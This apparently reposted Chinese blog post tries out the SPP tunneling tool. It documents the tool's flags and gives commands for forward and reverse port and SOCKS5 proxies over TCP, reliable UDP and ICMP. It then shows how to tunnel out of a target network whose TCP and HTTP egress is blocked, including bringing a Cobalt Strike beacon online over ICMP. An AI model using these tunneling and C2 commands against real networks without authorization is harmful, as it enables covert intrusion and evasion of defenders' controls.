内网隧道工具SPP尝鲜

2021-07-28 10:42:29 浏览数 (1)

声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

  1. 支持icmp、kcp、quic
  2. 支持双向的代理
  3. 可以自由进行内部外协议的组合

通过一个工具基本可以满足演练过程中打隧道的要求(可惜不支持dns协议)。这篇文章主要是自己研究该工具如何使用的过程 0x02 工具简介

  • 支持的协议:tcp、udp、rudp(可靠udp)、ricmp(可靠icmp)、rhttp(可靠http)、kcp、quic
  • 支持的类型:正向代理、反向代理、socks5正向代理、socks5反向代理
  • 协议和类型可以自由组合
  • 外部代理协议和内部转发协议可以自由组合

0x03 命令解释 -compress int start compress size, 0 means off (default 128) -encrypt string encrypt key, empty means off (default "default") -fromaddr value from addr -key string verify key (default "123456") -listen value server listen addr -loglevel string log level (default "info") -maxclient int max client connection (default 8) -maxconn int max connection (default 128) -name string client name (default "client") -nolog int write log file -noprint int print stdout -password string socks5 password -ping show ping -profile int open profile -proto value main proto type: [tcp rudp ricmp kcp quic rhttp] -proxyproto value proxy proto type: [tcp rudp ricmp kcp quic rhttp udp] -server string server addr -toaddr value to addr -type string type: server/proxy_client/reverse_proxy_client/socks5_client/reverse_socks5_client -username string socks5 username 0x04 Server基本用法 在vps的8888端口开启tcp流量监听 spp -type server -proto tcp -listen :8888 通过修改-proto参数可以自主选择监听流量协议类型 这里需要注意,ricmp协议无需设置端口 spp -type server -proto ricmp -listen 0.0.0.0 可以使用一条命令在不同端口监听不同协议 spp -type server -proto tcp -listen :8888 -proto rudp -listen :9999 -proto ricmp -listen 0.0.0.0 0x05 Client基本用法 实验都以tcp协议进行,Server端监听8888端口。实战中只需要修改proxyproto参数就可以转换协议 正向代理端口 将vps的8999端口代理至本机8080 spp -name "test" -type proxy_client -server vps:8888 -fromaddr :8080 -toaddr :8999 -proxyproto tcp 访问本地8080端口相当于访问vps8999端口 反向代理端口 将本机器80端口代理至vps的8998端口 spp -name "test" -type reverse_proxy_client -server vps:8888 -fromaddr :8998 -toaddr :80 -proxyproto tcp 访问vps的8998相当于访问本机80 正向socks5代理 代理至server网络环境下 spp -name "test" -type socks5_client -server vps:8888 -fromaddr :8080 -proxyproto tcp 挂代理 socks5:127.0.0.1:8080,查询当前ip为vps,已进入vps网络环境 反向socks5代理 代理至client网络环境下 spp -name "test" -type reverse_socks5_client -server vps:8888 -fromaddr :8080 -proxyproto tcp 挂代理 socks5:vps:8080,查询当前ip为client,已进入client网络环境 内外部协议封装 该功能支持各种协议的嵌套使用,可使用于各种内网极端环境。只需要使用proto参数指定外部转发协议即可。这里举例,使用udp协议做转发,内部封装tcp。 Server监听udp spp -type server -proto rudp -listen :8888 Client外部使用udp连接,内部封装tcp进行正向代理转发端口 spp -name "test" -type proxy_client -server vps:8888 -fromaddr :8080 -toaddr :8999 -proxyproto tcp -proto rudp 正常访问 查看数据包 0x06 实战场景应用 在对抗项目中有遇到过一些极端环境,比如目标封了tcp,http等常用出网的协议,但是icmp,dns等协议可能因为业务需要或者管理者安全意识不到位导致没有封干净。在这种场景下就可以使用这些容易被忽视的协议进行隧道的搭建。 ICMP 反向socks代理 Server spp -type server -proto ricmp -listen 0.0.0.0 Client ./spp -name "test" -type reverse_socks5_client -server vps -fromaddr :8080 -proxyproto tcp -proto ricmp 挂代理socks5:vps:8080,查看当前ip为client出口地址,已进入client网络环境 ICMP cobaltstrike Server 反向代理用于进入目标内网,正向代理可配合远控工具进行上线。 spp -type server -proto ricmp -listen 0.0.0.0 Client spp -name "test" -type proxy_client -server vps -fromaddr :8082 -toaddr :8081 -proxyproto tcp -proto ricmp 配置一个http beacon,下面填c2的地址,监听8081端口 再起一个本地监听的http beacon,监听本地8082 使用icmp成功上线

0 人点赞